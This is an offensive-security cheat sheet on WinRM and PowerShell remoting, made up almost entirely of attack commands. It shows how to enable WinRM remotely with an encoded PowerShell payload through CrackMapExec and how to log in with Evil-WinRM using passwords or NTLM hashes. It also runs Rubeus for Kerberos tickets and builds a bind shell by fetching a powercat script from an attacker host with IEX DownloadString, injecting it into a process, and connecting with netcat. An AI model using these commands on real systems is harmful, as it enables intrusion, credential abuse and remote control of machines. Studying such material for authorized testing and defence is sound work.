# WinRM / PSRemoting

* <https://www.bloggingforlogging.com/2018/01/24/demystifying-winrm/>
* <https://www.powershellmagazine.com/2014/03/06/accidental-sabotage-beware-of-credssp/>
* <https://www.ired.team/offensive-security/credential-access-and-credential-dumping/network-vs-interactive-logons>
* <https://book.hacktricks.xyz/pentesting/5985-5986-pentesting-winrm>

## Enable WinRM

Using PowerShell (takes \~1m to be applied):

```
PS > Enable-PSRemoting -Force
PS > Set-Item wsman:\localhost\client\trustedhosts * -Force
```

Remotely with CME:

```
$ cme smb 10.10.13.37 -u snovvcrash -p 'Passw0rd!' -x 'powershell -enc RQBuAGEAYgBsAGUALQBQAFMAUgBlAG0AbwB0AGkAbgBnACAALQBGAG8AcgBjAGUAOwBTAGUAdAAtAEkAdABlAG0AIAB3AHMAbQBhAG4AOgBcAGwAbwBjAGEAbABoAG8AcwB0AFwAYwBsAGkAZQBuAHQAXAB0AHIAdQBzAHQAZQBkAGgAbwBzAHQAcwAgACoACgA=' --no-output
```

## From Windows

* <https://0xdf.gitlab.io/2019/08/17/htb-helpline-win.html#enable-winrm>

```
PS > winrm get winrm/config
PS > winrm set winrm/config/client '@{TrustedHosts="*"}'
PS > $sess = New-PSSession -ComputerName 192.168.11.1 -Credential $cred
PS > Enter-PSSession -Session $sess
PS > Copy-Item .\file.txt -Destination "C:\users\administrator\music\" -ToSession $sess
```

## From Linux

### Evil-WinRM

* <https://github.com/Hackplayers/evil-winrm>
* <https://github.com/adityatelange/evil-winrm-py>

Basic syntax:

```
$ evil-winrm -u '[MEGACORP\]snovvcrash' -p 'Passw0rd!' -i 10.10.13.37 -s `pwd` -e `pwd`
$ evil-winrm -u '[MEGACORP\]snovvcrash' -H fc525c9683e8fe067095ba2ddc971889 -i 10.10.13.37 -s `pwd` -e `pwd`
```

{% hint style="info" %}
Always use full username when authenticating as a domain user, because if there're 2 users sharing the same name (a local user and a domain user), say `WORKGROUP\Administrator` and `MEGACORP\Administrator`, and you're trying to authenticate as a domain admin without providing the domain prefix, authentication will fail.
{% endhint %}

Execute a .NET binary:

```
*Evil-WinRM* PS > Invoke-Binary Rubeus.exe "asktgt, /domain:megacorp.local, /user:snovvcrash, /rc4:fc525c9683e8fe067095ba2ddc971889, /nowrap"
```

Spawn interactive bind shell with [powercat.ps1](https://github.com/besimorhino/powercat/blob/master/powercat.ps1) and [Invoke-PSInject.ps1](https://github.com/EmpireProject/PSInject/blob/master/Invoke-PSInject.ps1):

```
$ sed -i s/powercat/pwcat/g pwcat.ps1
$ echo 'powercat -l -p 1337 -e cmd.exe' >> pwcat.ps1
$ echo 'IEX(New-Object Net.WebClient).DownloadString(''http://10.10.13.37/pwcat.ps1'')' | iconv -t UTF-16LE | base64 -w0
*Evil-WinRM* PS > Get-Process
*Evil-WinRM* PS > Invoke-PSInject.ps1
*Evil-WinRM* PS > Invoke-PSInject -ProcId <PID> -PoshCode <BASE64_CMD>
$ rlwrap nc 192.168.1.11 1337
```

Install Python version:

```
$ pip install evil-winrm-py 'evil-winrm-py[kerberos]'
```

### pwsh

```
$ pwsh
PS > $sess = New-PSSession -ComputerName 192.168.11.1 -Credential $cred -Authentication Negotiate
PS > Enter-PSSession -Session $sess
```


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